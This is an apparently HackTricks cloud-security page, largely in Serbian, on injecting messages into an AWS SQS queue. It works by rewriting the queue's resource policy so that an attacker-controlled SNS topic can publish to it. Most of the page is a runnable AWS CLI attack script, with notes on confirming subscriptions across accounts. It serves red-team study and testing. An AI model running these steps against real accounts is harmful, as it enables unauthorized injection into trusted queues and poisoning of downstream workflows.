AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Description

Zloupotrebite resource policy SQS reda da omogućite SNS topic pod kontrolom napadača da objavljuje poruke u žrtvin SQS red. U istom nalogu, SQS subscription na SNS topic se automatski potvrđuje; u cross-account slučaju morate pročitati SubscriptionConfirmation token iz reda i pozvati ConfirmSubscription. Ovo omogućava neautentičnu injekciju poruka kojoj downstream potrošači mogu implicitno verovati.

Requirements

  • Mogućnost izmene resource policy ciljanog SQS reda: sqs:SetQueueAttributes na žrtvinom redu.
  • Mogućnost kreiranja/objavljivanja na SNS topic pod kontrolom napadača: sns:CreateTopic, sns:Publish, i sns:Subscribe na nalogu/topicu napadača.
  • Cross-account samo: privremeno sqs:ReceiveMessage na žrtvinom redu da pročitate confirmation token i pozovete sns:ConfirmSubscription.

Eksploatacija u istom nalogu

REGION=us-east-1
# 1) Create victim queue and capture URL/ARN
Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

# 2) Create attacker SNS topic
TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)

# 3) Allow that SNS topic to publish to the queue (queue resource policy)
cat > /tmp/ht-sqs-sns-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
JSON
sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
# Provide the attribute as a JSON map so quoting works reliably
cat > /tmp/ht-attrs.json <<JSON
{
"Policy": "REPLACE_POLICY_JSON"
}
JSON
# Embed the policy file contents as a JSON string
POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json

# 4) Subscribe the queue to the topic (auto-confirms same-account)
aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION

# 5) Publish and verify injection
aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All

Napomene za cross-account

  • Gornja politika reda mora dozvoliti strani TOPIC_ARN (nalog napadača).
  • Pretplate se neće automatski potvrditi. Dodelite sebi privremeno sqs:ReceiveMessage na victim queue kako biste pročitali poruku SubscriptionConfirmation, a zatim pozovite sns confirm-subscription sa njenim Token.

Uticaj

Mogući uticaj: Kontinuirano neželjeno umetanje poruka u pouzdani SQS red preko SNS-a, što može pokrenuti neočekivanu obradu, zagađenje podataka ili zloupotrebu tokova rada.

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks